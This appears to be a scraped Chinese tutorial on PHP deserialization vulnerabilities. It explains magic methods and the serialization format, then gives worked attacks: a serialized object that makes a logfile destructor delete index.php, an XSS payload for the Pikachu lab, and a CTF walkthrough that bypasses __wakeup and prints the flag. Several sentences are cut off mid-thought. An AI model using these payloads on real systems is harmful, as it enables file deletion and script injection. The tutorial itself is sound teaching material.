本篇文章给大家带来了关于PHP的相关知识,其中主要介绍了关于反序列化漏洞的相关问题,包括了PHP面向对象编程、序列化与反序列化、反序列化漏洞原理等等内容,希望对大家有帮助。
本篇文章给大家带来了关于PHP的相关知识,其中主要介绍了关于反序列化漏洞的相关问题,包括了PHP面向对象编程、序列化与反序列化、反序列化漏洞原理等等内容,希望对大家有帮助。 推荐学习:《PHP视频教程》 一、PHP面向对象编程在面向对象的程序设计(Object-oriented programming,OOP)中, 对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。 类是一个共享相同结构和行为的对象的集合。每个类的定义都以关键字class开头,后面跟着类的名字。 创建一个PHP类: <?php class TestClass //定义一个类 { //一个变量 public $variable = 'This is a string'; //一个方法 public function PrintVariable() { echo $this->variable; } } //创建一个对象 $object = new TestClass(); //调用一个方法 $object->PrintVariable(); ?> public、protected、privatePHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。 public(公有):公有的类成员可以在任何地方被访问。 protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。 private(私有):私有的类成员则只能被其定义所在的类访问。 注意:访问控制修饰符不同,序列化后属性的长度和属性值会有所不同,如下所示: public:属性被序列化的时候属性值会变成 protected:属性被序列化的时候属性值会变成 private:属性被序列化的时候属性值会变成 其中: <?phpclass People{ public $id; protected $gender; private $age; public function __construct(){ $this->id = 'Hardworking666'; $this->gender = 'male'; $this->age = '18'; }}$a = new People();echo serialize($a);?> O:6:"People":3:{s:2:"id";s:14:"Hardworking666";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"18";} 魔术方法(magic函数)PHP中把以两个下划线 PHP官方——魔术方法 类可能会包含一些特殊的函数:magic函数,这些函数在某些情况下会自动调用。 __construct() //类的构造函数,创建对象时触发 __destruct() //类的析构函数,对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义 __set() //在给不可访问属性赋值时触发 __isset() //当对不可访问属性调用 isset() 或 empty() 时触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当尝试以调用函数的方式调用一个对象时触发 __sleep() //执行serialize()时,先会调用这个方法 __wakeup() //执行unserialize()时,先会调用这个方法 __toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用 serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。 我们需要重点关注一下5个魔术方法,所以再强调一下:
从序列化到反序列化这几个函数的执行过程是:
<?php class TestClass { //一个变量 public $variable = 'This is a string'; //一个方法 public function PrintVariable() { echo $this->variable.'<br />'; } //构造函数 public function __construct() { echo '__construct<br />'; } //析构函数 public function __destruct() { echo '__destruct<br />'; } //当对象被当作一个字符串 public function __toString() { return '__toString<br />'; } } //创建一个对象 //__construct会被调用 $object = new TestClass(); //创建一个方法 //‘This is a string’将会被输出 $object->PrintVariable(); //对象被当作一个字符串 //toString会被调用 echo $object; //php脚本要结束时,__destruct会被调用 ?> 输出结果: __construct This is a string __toString __destruct
1. echo($obj)/print($obj)打印时会触发 2. 反序列化对象与字符串连接时 3. 反序列化对象参与格式化字符串时 4. 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型) 5. 反序列化对象参与格式化SQL语句,绑定参数时 6. 反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等 7. 在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用 8. 反序列化的对象作为class_exists()的参数的时候 魔术方法在反序列化攻击中的作用反序列化的入口在 如果只能局限于当前类,那攻击面就太小了,而且反序列化其他类对象只能控制属性,如果没有完成反序列化后的代码中调用其他类对象的方法,还是无法利用漏洞进行攻击。 但是,利用魔术方法就可以扩大攻击面,魔术方法是在该类序列化或者反序列化的同时自动完成的,这样就可以利用反序列化中的对象属性来操控一些能利用的函数,达到攻击的目的。 通过下例理解魔术方法在反序列漏洞中的作用,代码如下: 二、PHP序列化和反序列化PHP序列化有时需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等到达另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)。 json数据使用 json数据其实就是个数组,这样做的目的也是为了方便在前后端传输数据,后端接受到json数据,可以通过 有两种情况必须把对象序列化: 相关概念可以参考我以前的文章: PHP序列化:把对象转化为二进制的字符串,使用 通过例子来看PHP序列化后的格式: <?php class User { //类的数据 public $age = 0; public $name = ''; //输出数据 public function printdata() { echo 'User '.$this->name.' is '.$this->age.' years old.<br />'; } // “.”表示字符串连接 } //创建一个对象 $usr = new User(); //设置数据 $usr->age = 18; $usr->name = 'Hardworking666'; //输出数据 $usr->printdata(); //输出序列化后的数据 echo serialize($usr) ?> 输出结果: User Hardworking666 is 18 years old. O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";} 下面的 “O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个参数。 “{}”里面是参数的key和value, “s”表示string对象,“3”表示长度,“age”则为key;“i”是interger(整数)对象,“18”是value,后面同理。 序列化格式: a - array 数组型 b - boolean 布尔型 d - double 浮点型 i - integer 整数型 o - common object 共同对象 r - objec reference 对象引用 s - non-escaped binary string 非转义的二进制字符串 S - escaped binary string 转义的二进制字符串 C - custom object 自定义对象 O - class 对象 N - null 空 R - pointer reference 指针引用 U - unicode string Unicode 编码的字符串 PHP序列化需注意以下几点: 1、序列化只序列属性,不序列方法 PHP反序列化对上例进行反序列化: <?php class User { //类的数据 public $age = 0; public $name = ''; //输出数据 public function printdata() { echo 'User '.$this->name.' is '.$this->age.' years old.<br />'; } } //重建对象 $usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}'); //输出数据 $usr->printdata(); ?> User Hardworking666 is 18 years old.
<?phpclass test{ public $variable = '变量反序列化后都要销毁'; //公共变量 public $variable2 = 'OTHER'; public function printvariable() { echo $this->variable.'<br />'; } public function __construct() { echo '__construct'.'<br />'; } public function __destruct() { echo '__destruct'.'<br />'; } public function __wakeup() { echo '__wakeup'.'<br />'; } public function __sleep() { echo '__sleep'.'<br />'; return array('variable','variable2'); }}//创建一个对象,回调用__construct$object = new test(); //序列化一个对象,会调用__sleep$serialized = serialize($object); //输出序列化后的字符串print 'Serialized:'.$serialized.'<br />'; //重建对象,会调用__wakeup$object2 = unserialize($serialized); //调用printvariable,会输出数据(变量反序列化后都要销毁)$object2->printvariable(); //脚本结束,会调用__destruct?> __construct __sleep Serialized:O:4:"test":2:{s:8:"variable";s:33:"变量反序列化后都要销毁";s:9:"variable2";s:5:"OTHER";}__wakeup 变量反序列化后都要销毁 __destruct __destruct 从序列化到反序列化这几个函数的执行过程是: PHP为何要序列化和反序列化PHP的序列化与反序列化其实是为了解决一个问题:PHP对象传递问题 PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁。 如果刚好要用到销毁的对象,难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化 从上文可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。 三、PHP反序列化漏洞原理序列化和反序列化本身没有问题, 但是反序列化内容用户可控, 且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。 当传给 调用__destruct删除存在漏洞的思路:一个类用于临时将日志储存进某个文件,当 //logdata.php<?phpclass logfile{ //log文件名 public $filename = 'error.log'; //一些用于储存日志的代码 public function logdata($text) { echo 'log data:'.$text.'<br />'; file_put_contents($this->filename,$text,FILE_APPEND); } //destrcuctor 删除日志文件 public function __destruct() { echo '__destruct deletes '.$this->filename.'file.<br />'; unlink(dirname(__FILE__).'/'.$this->filename); }}?> 调用这个类: <?phpinclude 'logdata.php'class User{ //类数据 public $age = 0; public $name = ''; //输出数据 public function printdata() { echo 'User '.$this->name.' is'.$this->age.' years old.<br />'; }}//重建数据$usr = unserialize($_GET['usr_serialized']);?> 代码 如构造输入删除目录下的index.php文件: <?php include 'logdata.php'; $object = new logfile(); $object->filename = 'index.php'; echo serialize($object).'<br />'; ?> 上面展示了由于输入可控造成的 比如,某用户类定义了一个 XSS(跨站脚本攻击)攻击XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。 例如,皮卡丘靶场PHP反序列化漏洞 $html="; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="<p>错误输出</p>"; }else{ $html.="<p>{$unser->test)</p>"; } 为了执行 O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";} 其他知识点:
防范方法: 四、实例PHP反序列化绕过__wakeup() CTF例题攻防世界xctf web unserialize3 打开网址后的代码: class xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}?code= 已知在使用 而本题的关键就是如何 绕过 当 序列化的字符串中的 属性值 个数 大于 属性个数 就会导致反序列化异常,从而绕过 代码中的 我们利用php中的new运算符,实例化类xctf。 new 是申请空间的操作符,一般用于类。 构造序列化的代码在编辑器内执行: <?php class xctf{ public $flag = '111'; //public定义flag变量公开可见 public function __wakeup(){ exit('bad requests'); } }//题目少了一个},这里补上 $a=new xctf(); echo(serialize($a)); ?> 运行结果 O:4:"xctf":1:{s:4:"flag";s:3:"111";} 序列化返回的字符串格式: O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}
所以要修改属性值 O:4:"xctf":2:{s:4:"flag";s:3:"111";} 在url中输入: ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";} 得到flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e} 漏洞: 官方给出的影响版本: 推荐学习:《PHP教程》 以上就是详细解析PHP反序列化漏洞的详细内容,更多请关注模板之家(www.mb5.com.cn)其它相关文章! |